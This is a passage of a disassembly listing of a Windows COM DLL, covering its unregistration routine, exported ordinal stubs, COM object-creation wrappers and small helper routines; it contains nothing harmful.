hKey = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 124h
mov eax, dword_69B92170
xor eax, [ebp+4]
push esi
push offset String1 ; lpString1
mov [ebp+var_4], eax
mov [ebp+var_C], 80004005h
call sub_69B2BCF6
mov [ebp+var_10], eax
call sub_69B2BE45
push 1 ; syskind
xor esi, esi
push esi ; lcid
push 6 ; wVerMinor
push 2 ; wVerMajor
push offset libID ; libID
mov [ebp+var_18], eax
call UnRegisterTypeLib
cmp eax, 8002801Ch
mov [ebp+var_8], eax
jnz short loc_69B2C2DE
mov [ebp+var_8], esi
loc_69B2C2DE: ; CODE XREF: DllUnregisterServer+4Dj
cmp [ebp+var_18], esi
jnz loc_69B2C40B
cmp [ebp+var_10], esi
jz short loc_69B2C339
call sub_69B2B309
test eax, eax
jz short loc_69B2C306
push offset aUnregmime ; "UnRegMIME"
call sub_69B2B41B
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_69B2C317
loc_69B2C306: ; CODE XREF: DllUnregisterServer+67j
cmp [ebp+var_8], esi
jz short loc_69B2C311
cmp [ebp+var_8], 1
jnz short loc_69B2C317
loc_69B2C311: ; CODE XREF: DllUnregisterServer+7Dj
mov eax, [ebp+var_C]
mov [ebp+var_8], eax
loc_69B2C317: ; CODE XREF: DllUnregisterServer+78j
; DllUnregisterServer+83j
push offset aUnregold ; "UnregOld"
call sub_69B2B41B
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_69B2C339
cmp [ebp+var_8], esi
jz short loc_69B2C333
cmp [ebp+var_8], 1
jnz short loc_69B2C339
loc_69B2C333: ; CODE XREF: DllUnregisterServer+9Fj
mov eax, [ebp+var_C]
mov [ebp+var_8], eax
loc_69B2C339: ; CODE XREF: DllUnregisterServer+5Ej
; DllUnregisterServer+9Aj ...
push ebx
push edi
xor edi, edi
loc_69B2C33D: ; CODE XREF: DllUnregisterServer+175j
mov eax, ds:dword_69B258E0[edi]
cmp eax, esi
jz loc_69B2C3D5
lea ecx, [ebp+hKey]
push ecx ; phkResult
push 1 ; samDesired
push esi ; ulOptions
push eax ; lpSubKey
push 80000000h ; hKey
xor bl, bl
mov [ebp+cbData], 104h
call RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz short loc_69B2C3E3
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+Data]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push esi ; lpReserved
push offset byte_69B25C44 ; lpValueName
push [ebp+hKey] ; hKey
call RegQueryValueExA ; RegQueryValueExA
test eax, eax
jnz short loc_69B2C3C8
mov esi, ds:dword_69B258E4[edi]
lea eax, [ebp+Data]
loc_69B2C399: ; CODE XREF: DllUnregisterServer+129j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_69B2C3BB
test cl, cl
jz short loc_69B2C3B7
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_69B2C3BB
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_69B2C399
loc_69B2C3B7: ; CODE XREF: DllUnregisterServer+117j
xor eax, eax
jmp short loc_69B2C3C0
; ---------------------------------------------------------------------------
loc_69B2C3BB: ; CODE XREF: DllUnregisterServer+113j
; DllUnregisterServer+121j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_69B2C3C0: ; CODE XREF: DllUnregisterServer+12Dj
xor esi, esi
test eax, eax
jnz short loc_69B2C3C8
mov bl, 1
loc_69B2C3C8: ; CODE XREF: DllUnregisterServer+FFj
; DllUnregisterServer+138j
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
test bl, bl
jz short loc_69B2C3E3
loc_69B2C3D5: ; CODE XREF: DllUnregisterServer+B9j
push ds:off_69B258EC[edi]
call sub_69B2B41B
mov [ebp+var_C], eax
loc_69B2C3E3: ; CODE XREF: DllUnregisterServer+DDj
; DllUnregisterServer+147j
mov eax, [ebp+var_C]
cmp eax, esi
jz short loc_69B2C3F8
cmp [ebp+var_8], esi
jz short loc_69B2C3F5
cmp [ebp+var_8], 1
jnz short loc_69B2C3F8
loc_69B2C3F5: ; CODE XREF: DllUnregisterServer+161j
mov [ebp+var_8], eax
loc_69B2C3F8: ; CODE XREF: DllUnregisterServer+15Cj
; DllUnregisterServer+167j
add edi, 10h
cmp edi, 0A0h
jb loc_69B2C33D
pop edi
pop ebx
jmp short loc_69B2C410
; ---------------------------------------------------------------------------
loc_69B2C40B: ; CODE XREF: DllUnregisterServer+55j
call sub_69B2B4A9
loc_69B2C410: ; CODE XREF: DllUnregisterServer+17Dj
cmp [ebp+var_10], esi
jnz short loc_69B2C41F
cmp [ebp+var_18], esi
jnz short loc_69B2C41F
call sub_69B2BF77
loc_69B2C41F: ; CODE XREF: DllUnregisterServer+187j
; DllUnregisterServer+18Cj
call sub_69B2B3FC
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
xor eax, eax
pop esi
call sub_69B1B9F6
leave
retn
DllUnregisterServer endp
; ---------------------------------------------------------------------------
aUnregold db 'UnregOld',0 ; DATA XREF: DllUnregisterServer:loc_69B2C317o
align 10h
aUnregmime db 'UnRegMIME',0 ; DATA XREF: DllUnregisterServer+69o
; Exported entry 12.
; =============== S U B R O U T I N E =======================================
public Ordinal12
Ordinal12 proc near
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor eax, eax
cmp ecx, eax
jg short loc_69B2C45B
mov dword_69B92940, eax
jmp short locret_69B2C47A
; ---------------------------------------------------------------------------
loc_69B2C45B: ; CODE XREF: Ordinal12+8j
cmp dword_69B9B258, ecx
jg short loc_69B2C475
mov dword_69B9293C, ecx
mov dword_69B92940, 1
jmp short locret_69B2C47A
; ---------------------------------------------------------------------------
loc_69B2C475: ; CODE XREF: Ordinal12+17j
mov eax, 80004005h
locret_69B2C47A: ; CODE XREF: Ordinal12+Fj
; Ordinal12+29j
retn 4
Ordinal12 endp
; Exported entry 8.
; =============== S U B R O U T I N E =======================================
public Ordinal8
Ordinal8 proc near
mov eax, dword_69B9B258
retn
Ordinal8 endp
; Exported entry 11.
; =============== S U B R O U T I N E =======================================
public Ordinal11
Ordinal11 proc near
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov ecx, [esp+4+arg_0]
push [esp+4+arg_4]
call sub_69B3F250
retn 0Ch
Ordinal11 endp
; Exported entry 7.
; =============== S U B R O U T I N E =======================================
public Ordinal7
Ordinal7 proc near
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov ecx, [esp+4+arg_0]
push [esp+4+arg_4]
call sub_69B40FE5
retn 0Ch
Ordinal7 endp
; Exported entry 6.
; =============== S U B R O U T I N E =======================================
public Ordinal6
Ordinal6 proc near
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov ecx, [esp+4+arg_0]
push [esp+4+arg_4]
call sub_69B3EA42
retn 0Ch
Ordinal6 endp
; Exported entry 9.
; =============== S U B R O U T I N E =======================================
public Ordinal9
Ordinal9 proc near
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B3EB54
retn 8
Ordinal9 endp
; Exported entry 10.
; =============== S U B R O U T I N E =======================================
public Ordinal10
Ordinal10 proc near
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
mov [ecx+0ECh], eax
xor eax, eax
retn 8
Ordinal10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2C4E2 proc near ; CODE XREF: sub_69B1B9F6+6j
var_328 = dword ptr -328h
var_324 = byte ptr -324h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 328h
mov eax, dword_69B92170
xor eax, [ebp+4]
mov edx, dword_69B9292C
test edx, edx
mov [ebp+var_4], eax
jz short loc_69B2C53B
push edi
xor eax, eax
and [ebp+var_328], eax
push 13h
pop ecx
lea edi, [ebp+var_58]
rep stosd
mov ecx, 0B2h
lea edi, [ebp+var_324]
rep stosd
lea eax, [ebp+var_5C]
mov [ebp+var_C], eax
lea eax, [ebp+var_328]
mov [ebp+var_8], eax
lea eax, [ebp+var_C]
push eax
mov [ebp+var_5C], 0C0000409h
call edx ; dword_69B9292C
pop edi
loc_69B2C53B: ; CODE XREF: sub_69B2C4E2+1Cj
push 502h ; uExitCode
call ds:GetCurrentProcess ; GetCurrentProcess
push eax ; hProcess
call ds:TerminateProcess ; TerminateProcess
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
call sub_69B1B9F6
leave
retn
sub_69B2C4E2 endp
; =============== S U B R O U T I N E =======================================
sub_69B2C55A proc near ; DATA XREF: .text:69B1C91Co
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
push offset dword_69B92924 ; lpAddend
jz short loc_69B2C56E
call ds:InterlockedIncrement ; InterlockedIncrement
jmp short loc_69B2C574
; ---------------------------------------------------------------------------
loc_69B2C56E: ; CODE XREF: sub_69B2C55A+Aj
call ds:InterlockedDecrement ; InterlockedDecrement
loc_69B2C574: ; CODE XREF: sub_69B2C55A+12j
xor eax, eax
retn 8
sub_69B2C55A endp
; ---------------------------------------------------------------------------
jmp sub_69B1CA20
; =============== S U B R O U T I N E =======================================
sub_69B2C57E proc near ; CODE XREF: sub_69B2C68C+4Dp
; sub_69B2C72C+38p ...
arg_0 = dword ptr 4
push 8
call sub_69B11E44
test eax, eax
jnz short loc_69B2C590
mov eax, 8007000Eh
jmp short locret_69B2C5AC
; ---------------------------------------------------------------------------
loc_69B2C590: ; CODE XREF: sub_69B2C57E+9j
mov ecx, [esp+arg_0]
mov [eax], ecx
mov ecx, dword_69B9B1D0
mov [eax+4], ecx
inc dword_69B9B1D4
mov dword_69B9B1D0, eax
xor eax, eax
locret_69B2C5AC: ; CODE XREF: sub_69B2C57E+10j
retn 4
sub_69B2C57E endp
; =============== S U B R O U T I N E =======================================
sub_69B2C5AF proc near ; CODE XREF: sub_69B2C65C+17p
push 20h
push offset dword_69B2C650
call sub_69B19C5C
push dword_69B929D8
lea ecx, [ebp-1Ch]
call sub_69B18E23
mov esi, dword_69B9B1D0
mov [ebp-20h], esi
xor ebx, ebx
mov dword_69B9B1D0, ebx
loc_69B2C5DA: ; CODE XREF: sub_69B2C63D+Cj
mov [ebp-4], ebx
loc_69B2C5DD: ; CODE XREF: sub_69B2C5AF+88j
cmp esi, ebx
jz short loc_69B2C605
cmp dword_69B9B1D4, ebx
jz short loc_69B2C605
mov eax, [esi]
mov [ebp-24h], eax
mov ecx, [eax]
mov [ebp-28h], ecx
mov [eax], ebx
cmp dword_69B92934, ebx
jle short loc_69B2C617
mov [eax], ecx
mov dword_69B9B1D0, esi
loc_69B2C605: ; CODE XREF: sub_69B2C5AF+30j
; sub_69B2C5AF+38j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-1Ch]
call sub_69B1900C
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B2C617: ; CODE XREF: sub_69B2C5AF+4Cj
dec dword_69B9B1D4
mov edi, esi
mov [ebp-2Ch], edi
mov esi, [esi+4]
mov [ebp-20h], esi
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
mov [ebp-30h], edi
push edi
call sub_69B1B2B7
jmp short loc_69B2C5DD
sub_69B2C5AF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B2C639 proc near ; DATA XREF: .text:69B2C654o
xor eax, eax
inc eax
retn
sub_69B2C639 endp
; =============== S U B R O U T I N E =======================================
sub_69B2C63D proc near ; DATA XREF: .text:69B2C658o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
mov esi, [ebp-20h]
jmp short loc_69B2C5DA
sub_69B2C63D endp
; ---------------------------------------------------------------------------
align 10h
dword_69B2C650 dd 0FFFFFFFFh dd offset sub_69B2C639
dd offset sub_69B2C63D
; =============== S U B R O U T I N E =======================================
sub_69B2C65C proc near ; CODE XREF: sub_69B3659D+10p
; sub_69B3659D+41j ...
push esi
push offset dword_69B92934 ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
cmp dword_69B92934, 0
mov esi, eax
jnz short loc_69B2C688
call sub_69B2C5AF
cmp dword_69B92934, 0
jnz short loc_69B2C688
push 8
call sub_69B18C0C
loc_69B2C688: ; CODE XREF: sub_69B2C65C+15j
; sub_69B2C65C+23j
mov eax, esi
pop esi
retn
sub_69B2C65C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2C68C(LPVOID *ppv)
sub_69B2C68C proc near ; CODE XREF: sub_69B3698E+5p
var_4 = byte ptr -4
ppv = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push dword_69B929D8
lea ecx, [ebp+var_4]
xor esi, esi
call sub_69B18E23
mov ebx, [ebp+ppv]
cmp [ebx], esi
jnz short loc_69B2C6EB
push edi
push ebx ; ppv
push offset riid ; riid
push 1 ; dwClsContext
push esi ; pUnkOuter
mov esi, ds:CoCreateInstance
mov edi, offset rclsid
push edi ; rclsid
call esi ; CoCreateInstance
test eax, eax
jz short loc_69B2C6D8
push ebx ; ppv
push offset stru_69B2C71C ; riid
push 1 ; dwClsContext
push 0 ; pUnkOuter
push edi ; rclsid
call esi ; CoCreateInstance
mov esi, eax
test esi, esi
jnz short loc_69B2C6EA
loc_69B2C6D8: ; CODE XREF: sub_69B2C68C+37j
push ebx
call sub_69B2C57E
mov esi, eax
test esi, esi
jz short loc_69B2C6EA
push ebx
call sub_69B17230
loc_69B2C6EA: ; CODE XREF: sub_69B2C68C+4Aj
; sub_69B2C68C+56j
pop edi
loc_69B2C6EB: ; CODE XREF: sub_69B2C68C+1Bj
lea ecx, [ebp+var_4]
call sub_69B1900C
mov eax, esi
pop esi
pop ebx
leave
retn 4
sub_69B2C68C endp
; ---------------------------------------------------------------------------
align 4
; CLSID rclsid
rclsid dd 275C23E2h ; Data1 ; DATA XREF: sub_69B2C68C+2Do
dw 3747h ; Data2
dw 11D0h ; Data3
db 9Fh, 0EAh, 0, 0AAh, 0, 3Fh, 86h, 46h; Data4
; IID riid
riid dd 0DCCFC164h ; Data1 ; DATA XREF: sub_69B2C68C+1Fo
dw 2B38h ; Data2
dw 11D2h ; Data3
db 0B7h, 0ECh, 0, 0C0h, 4Fh, 8Fh, 5Dh, 9Ah; Data4
; IID stru_69B2C71C
stru_69B2C71C dd 275C23E1h ; Data1 ; DATA XREF: sub_69B2C68C+3Ao
dw 3747h ; Data2
dw 11D0h ; Data3
db 9Fh, 0EAh, 0, 0AAh, 0, 3Fh, 86h, 46h; Data4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2C72C(LPVOID *ppv)
sub_69B2C72C proc near ; CODE XREF: sub_69B39C17+30p
; sub_69B72074+20p ...
var_4 = byte ptr -4
ppv = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword_69B929D8
lea ecx, [ebp+var_4]
xor edi, edi
call sub_69B18E23
mov esi, [ebp+ppv]
cmp [esi], edi
jnz short loc_69B2C775
push esi ; ppv
push offset stru_69B2AF10 ; riid
push 1 ; dwClsContext
push edi ; pUnkOuter
push offset stru_69B2AED0 ; rclsid
call ds:CoCreateInstance
mov edi, eax
test edi, edi
jnz short loc_69B2C775
push esi
call sub_69B2C57E
mov edi, eax
test edi, edi
jz short loc_69B2C775
push esi
call sub_69B17230
loc_69B2C775: ; CODE XREF: sub_69B2C72C+1Bj
; sub_69B2C72C+35j ...
lea ecx, [ebp+var_4]
call sub_69B1900C
mov eax, edi
pop edi
pop esi
leave
retn 4
sub_69B2C72C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2C785(LPVOID *ppv)
sub_69B2C785 proc near ; CODE XREF: sub_69B71F04+D5p
var_4 = byte ptr -4
ppv = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword_69B929D8
lea ecx, [ebp+var_4]
xor edi, edi
call sub_69B18E23
mov esi, [ebp+ppv]
cmp [esi], edi
jnz short loc_69B2C7CE
push esi ; ppv
push offset stru_69B2C7F0 ; riid
push 1 ; dwClsContext
push edi ; pUnkOuter
push offset stru_69B2C7E0 ; rclsid
call ds:CoCreateInstance
mov edi, eax
test edi, edi
jnz short loc_69B2C7CE
push esi
call sub_69B2C57E
mov edi, eax
test edi, edi
jz short loc_69B2C7CE
push esi
call sub_69B17230
loc_69B2C7CE: ; CODE XREF: sub_69B2C785+1Bj
; sub_69B2C785+35j ...
lea ecx, [ebp+var_4]
call sub_69B1900C
mov eax, edi
pop edi
pop esi
leave
retn 4
sub_69B2C785 endp
; ---------------------------------------------------------------------------
align 10h
; CLSID stru_69B2C7E0
stru_69B2C7E0 dd 2E005h ; Data1 ; DATA XREF: sub_69B2C785+26o
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
; IID stru_69B2C7F0
stru_69B2C7F0 dd 2E013h ; Data1 ; DATA XREF: sub_69B2C785+1Eo
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2C800 proc near ; CODE XREF: sub_69B3BAFF+26p
; sub_69B3C2E1+26p ...
pvarg = VARIANTARG ptr -20h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
test byte ptr [ebp+arg_14+1], 40h
push ebx
push esi
push edi
jz short loc_69B2C819
mov eax, 80004005h
jmp loc_69B2C8CE
; ---------------------------------------------------------------------------
loc_69B2C819: ; CODE XREF: sub_69B2C800+Dj
mov eax, [ebp+arg_18]
mov edi, [ebp+arg_C]
xor ebx, ebx
cmp [ebp+arg_8], bl
jz short loc_69B2C873
cmp edi, 0F4240h
jl short loc_69B2C873
cmp edi, 2DC6BFh
jg short loc_69B2C873
test byte ptr [ebp+arg_14], 3
jz short loc_69B2C873
cmp [eax+8], ebx
jnz short loc_69B2C873
cmp [eax+0Ch], ebx
jnz short loc_69B2C873
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
add edi, 0FFF0BDC0h
mov dword ptr [ebp+pvarg.anonymous_0+8], edi
lea eax, [ebp+pvarg]
mov [ebp+var_8], 1
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov word ptr [ebp+pvarg.anonymous_0], 3
xor edi, edi
jmp short loc_69B2C8A8
; ---------------------------------------------------------------------------
loc_69B2C873: ; CODE XREF: sub_69B2C800+24j
; sub_69B2C800+2Cj ...
mov esi, [eax+0Ch]
cmp esi, ebx
jz short loc_69B2C8AE
mov ecx, [eax+4]
cmp dword ptr [ecx], 0FFFFFD9Bh
jnz short loc_69B2C8AE
test byte ptr [ebp+arg_14], 1
jnz short loc_69B2C892
mov eax, 80070057h
jmp short loc_69B2C8CE
; ---------------------------------------------------------------------------
loc_69B2C892: ; CODE XREF: sub_69B2C800+89j
mov edx, [eax+8]
mov eax, [eax]
dec edx
dec esi
add eax, 10h
add ecx, 4
mov [ebp+var_8], edx
mov [ebp+var_4], esi
mov [ebp+var_C], ecx
loc_69B2C8A8: ; CODE XREF: sub_69B2C800+71j
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
loc_69B2C8AE: ; CODE XREF: sub_69B2C800+78j
; sub_69B2C800+83j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
lea esi, [ebp+arg_8]
push esi
push [ebp+arg_20]
push [ebp+arg_1C]
push eax
push [ebp+arg_14]
push [ebp+arg_10]
push offset dword_69B2AFB0
push edi
push ecx
call dword ptr [edx+18h]
loc_69B2C8CE: ; CODE XREF: sub_69B2C800+14j
; sub_69B2C800+90j
pop edi
pop esi
pop ebx
leave
retn 28h
sub_69B2C800 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2C8D5 proc near ; CODE XREF: sub_69B2CF2D+Fp
; sub_69B2CF59+32p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
cmp dword ptr [esi], 0
push edi
jnz short loc_69B2C954
push dword_69B929D8
lea ecx, [ebp+var_4]
call sub_69B18E23
cmp dword ptr [esi], 0
jnz short loc_69B2C94C
lea eax, [ebp+arg_0]
push eax
push dword ptr [esi+4]
push [ebp+arg_4]
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
call sub_69B2DEF4
test eax, eax
jz short loc_69B2C929
lea eax, [ebp+arg_0]
push eax
push dword ptr [esi+4]
push 0
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
call sub_69B2DEF4
mov edi, eax
test edi, edi
jnz short loc_69B2C93E
loc_69B2C929: ; CODE XREF: sub_69B2C8D5+38j
push esi
call sub_69B2C57E
mov edi, eax
test edi, edi
mov eax, [ebp+arg_0]
jz short loc_69B2C94A
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B2C93E: ; CODE XREF: sub_69B2C8D5+52j
lea ecx, [ebp+var_4]
call sub_69B1900C
mov eax, edi
jmp short loc_69B2C956
; ---------------------------------------------------------------------------
loc_69B2C94A: ; CODE XREF: sub_69B2C8D5+61j
mov [esi], eax
loc_69B2C94C: ; CODE XREF: sub_69B2C8D5+1Fj
lea ecx, [ebp+var_4]
call sub_69B1900C
loc_69B2C954: ; CODE XREF: sub_69B2C8D5+Cj
xor eax, eax
loc_69B2C956: ; CODE XREF: sub_69B2C8D5+73j
pop edi
pop esi
leave
retn 8
sub_69B2C8D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2C95C proc near ; CODE XREF: sub_69B2D2C8+39p
var_312 = byte ptr -312h
String = word ptr -310h
MultiByteStr = byte ptr -108h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 310h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push edi
xor edi, edi
cmp word_69B9B1D8, di
mov [ebp+var_4], eax
mov ebx, offset word_69B9B1D8
jnz loc_69B2CA09
push esi
mov esi, 104h
push esi ; nSize
lea eax, [ebp+MultiByteStr]
push eax ; lpFilename
push hModule ; hModule
call ds:GetModuleFileNameA ; GetModuleFileNameA
push esi ; cchWideChar
lea eax, [ebp+String]
push eax ; lpWideCharStr
push 0FFFFFFFFh ; cchMultiByte
lea eax, [ebp+MultiByteStr]
push eax ; lpMultiByteStr
push edi ; dwFlags
push edi ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
lea eax, [ebp+String]
push eax ; lpString
call ds:lstrlenW ; lstrlenW
xor ecx, ecx
cmp eax, edi
lea edx, [ebp+eax*2+var_312]
jle short loc_69B2C9E8
loc_69B2C9D3: ; CODE XREF: sub_69B2C95C+82j
cmp word ptr [edx], 5Ch
jz short loc_69B2C9E0
inc ecx
dec edx
dec edx
cmp ecx, eax
jl short loc_69B2C9D3
loc_69B2C9E0: ; CODE XREF: sub_69B2C95C+7Bj
cmp ecx, 27h
jle short loc_69B2C9E8
push 27h
pop ecx
loc_69B2C9E8: ; CODE XREF: sub_69B2C95C+75j
; sub_69B2C95C+87j
lea eax, [ecx+ecx]
mov ecx, eax
lea esi, [edx+2]
mov edx, ecx
shr ecx, 2
mov edi, ebx
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
and word_69B9B1D8[eax], 0
pop esi
loc_69B2CA09: ; CODE XREF: sub_69B2C95C+24j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop edi
mov eax, ebx
pop ebx
call sub_69B1B9F6
leave
retn
sub_69B2C95C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2CA1A proc near ; CODE XREF: sub_69B2CF59+22p
; sub_69B2CFAA+34p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_14 = dword ptr 1Ch
arg_18 = byte ptr 20h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_0], ebx
push esi
push edi
jz loc_69B2CAAD
cmp [ebp+arg_4], ebx
jz short loc_69B2CAAD
cmp [ebp+arg_8], ebx
jz short loc_69B2CAAD
mov edi, [ebp+arg_C]
cmp edi, ebx
jz short loc_69B2CAAD
cmp [ebp+arg_14], ebx
jz short loc_69B2CAAD
cmp [ebp+arg_4], 1
jnz short loc_69B2CAA2
dec edi
loc_69B2CA48: ; CODE XREF: sub_69B2CA1A+5Bj
mov ecx, [ebp+arg_8]
lea eax, [edi+ebx]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
lea eax, [esi+esi*2]
push dword ptr [ecx+eax*8]
mov eax, [ebp+arg_0]
push dword ptr [eax]
call sub_69B2ED17
test eax, eax
jge short loc_69B2CA6E
lea edi, [esi-1]
jmp short loc_69B2CA73
; ---------------------------------------------------------------------------
loc_69B2CA6E: ; CODE XREF: sub_69B2CA1A+4Dj
jle short loc_69B2CA79
lea ebx, [esi+1]
loc_69B2CA73: ; CODE XREF: sub_69B2CA1A+52j
cmp ebx, edi
jle short loc_69B2CA48
jmp short loc_69B2CAA2
; ---------------------------------------------------------------------------
loc_69B2CA79: ; CODE XREF: sub_69B2CA1A:loc_69B2CA6Ej
cmp [ebp+arg_18], 0
mov ecx, [ebp+arg_8]
mov edx, [ebp+arg_14]
lea eax, [esi+esi*2]
lea eax, [ecx+eax*8]
mov ecx, [eax+4]
mov [edx], ecx
jz short loc_69B2CAA9
push dword ptr [eax]
mov eax, [ebp+arg_0]
push dword ptr [eax]
call sub_69B84A8E
test eax, eax
pop ecx
pop ecx
jz short loc_69B2CAA9
loc_69B2CAA2: ; CODE XREF: sub_69B2CA1A+2Bj
; sub_69B2CA1A+5Dj
mov eax, 80020006h
jmp short loc_69B2CAB2
; ---------------------------------------------------------------------------
loc_69B2CAA9: ; CODE XREF: sub_69B2CA1A+74j
; sub_69B2CA1A+86j
xor eax, eax
jmp short loc_69B2CAB2
; ---------------------------------------------------------------------------
loc_69B2CAAD: ; CODE XREF: sub_69B2CA1A+Bj
; sub_69B2CA1A+14j ...
mov eax, 80070057h
loc_69B2CAB2: ; CODE XREF: sub_69B2CA1A+8Dj
; sub_69B2CA1A+91j
pop edi
pop esi
pop ebx
pop ebp
retn 1Ch
sub_69B2CA1A endp
; =============== S U B R O U T I N E =======================================
sub_69B2CAB9 proc near ; CODE XREF: sub_69B2D0C7+32p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_8]
push edi
xor edi, edi
dec esi
loc_69B2CAC7: ; CODE XREF: sub_69B2CAB9+2Dj
mov ecx, [esp+0Ch+arg_0]
lea eax, [esi+edi]
cdq
sub eax, edx
sar eax, 1
sub ecx, [ebx+eax*8]
jns short loc_69B2CADD
lea esi, [eax-1]
jmp short loc_69B2CAE4
; ---------------------------------------------------------------------------
loc_69B2CADD: ; CODE XREF: sub_69B2CAB9+1Dj
test ecx, ecx
jle short loc_69B2CAEF
lea edi, [eax+1]
loc_69B2CAE4: ; CODE XREF: sub_69B2CAB9+22j
cmp edi, esi
jle short loc_69B2CAC7
mov eax, 80020003h
jmp short loc_69B2CAFB
; ---------------------------------------------------------------------------
loc_69B2CAEF: ; CODE XREF: sub_69B2CAB9+26j
mov eax, [ebx+eax*8+4]
mov ecx, [esp+0Ch+arg_C]
mov [ecx], eax
xor eax, eax
loc_69B2CAFB: ; CODE XREF: sub_69B2CAB9+34j
pop edi
pop esi
pop ebx
retn 10h
sub_69B2CAB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2CB01(int, VARIANTARG *pvargDest, int, int, int)
sub_69B2CB01 proc near ; CODE XREF: sub_69B2CCD1+C6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
pvargDest = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+pvargDest]
push esi
mov esi, [ebp+arg_10]
lea ecx, [esi+esi*2]
shl ecx, 3
mov edx, ecx
shr ecx, 2
push edi
xor eax, eax
mov edi, ebx
rep stosd
mov ecx, edx
and ecx, 3
xor edx, edx
test esi, esi
rep stosb
mov [ebp+var_8], edx
jbe loc_69B2CCC7
loc_69B2CB38: ; CODE XREF: sub_69B2CB01+1C0j
mov eax, [ebp+arg_8]
xor esi, esi
mov si, [eax+edx*2]
mov ecx, esi
shr ecx, 0Bh
and cl, 1
mov byte ptr [ebp+pvargDest+3], cl
mov ecx, [ebp+arg_0]
mov eax, esi
mov esi, [ecx+8]
and eax, 0F7FFh
cmp edx, esi
jnb loc_69B2CC8B
cmp [ebp+var_4], 0
jl loc_69B2CC8B
sub esi, edx
dec esi
shl esi, 4
add esi, [ecx]
mov edi, 4000h
jmp short loc_69B2CB8E
